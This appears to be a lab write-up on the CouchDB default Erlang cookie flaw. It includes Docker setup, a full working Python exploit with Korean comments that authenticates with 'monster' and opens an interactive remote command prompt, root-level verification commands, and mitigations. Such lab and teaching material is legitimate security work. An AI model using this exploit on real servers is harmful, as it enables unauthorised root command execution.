
Contributors
Apache CouchDB is an open-source document-oriented NoSQL database implemented in Erlang.
Because Apache CouchDB is developed in Erlang, it natively supports distributed computing (clustering). Cluster nodes communicate with each other using the Erlang/OTP Distribution Protocol, and through this protocol, operating system (OS) commands can be executed with the privileges of the user running CouchDB.
To execute OS commands, you need to know the authentication string (secret phrase) called a Cookie in Erlang. In CouchDB versions 3.2.1 and below, the default Cookie value is set to monster during installation, and an attacker who knows this value can bypass authentication and execute remote OS commands.
References:
The following environment is required to perform this lab:
On Apple Silicon (M1/M2/M3) based macOS, image platform-related warnings may appear. In most cases, Docker Desktop automatically emulates amd64 images, so no additional action is required. If the container does not run correctly, you can add the platform: linux/amd64 option to the couchdb service in docker-compose.yml.
If Python 3 is not installed, you can install it with the following commands:
sudo apt update
sudo apt install -y python3
Run the following command to start the Apache CouchDB 3.2.1 environment:
docker compose up -d
Once the service is running, the following three ports will be open on the target IP:
In a real environment, the web interface port (5984) and EPMD service port (4369) are fixed, but the cluster communication port may change each time it runs. Therefore, you can access the EPMD service to check the current cluster communication port number.
If Apache CouchDB is running correctly, you can check the version information at http://target-ip:5984.

This vulnerability occurs when the following conditions are met:
monster).docker compose up -d
python3 poc.py target-ip 4369
The PoC queries the EPMD service for the current cluster communication port number, then performs Erlang Distribution Protocol authentication using the default Cookie (monster).
After authentication is complete, you can enter desired OS commands to verify remote command execution.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
As a result of running the PoC, the cluster communication port was successfully identified through the EPMD service, and the Authentication successful message confirms that Erlang Distribution Protocol authentication succeeded.
Afterwards, you can run the whoami command to verify that commands are executed with root privileges, and use the id command to check user and group information. Additionally, you can create a success file in the /tmp directory of the target system using touch /tmp/success, and then confirm the file was created with ls /tmp. This verifies that the entered OS commands were actually executed on the target system.

When the lab is complete, run the following command to stop the Docker containers and network:
docker compose down
Update to the latest version
Update to Apache CouchDB 3.2.2 or later to resolve the default Erlang Cookie issue.
Change the default Erlang Cookie
Do not use the default Cookie value (monster); change it to a random, hard-to-guess value to prevent authentication bypass and remote command execution.
Restrict access to EPMD and cluster communication ports
Apply firewall or access control policies so that EPMD (4369) and the cluster communication port are only accessible from trusted hosts.
Disable unnecessary Erlang Distribution features
In environments that do not use clustering, restrict external access to the Erlang Distribution feature or related services to minimize attack surface.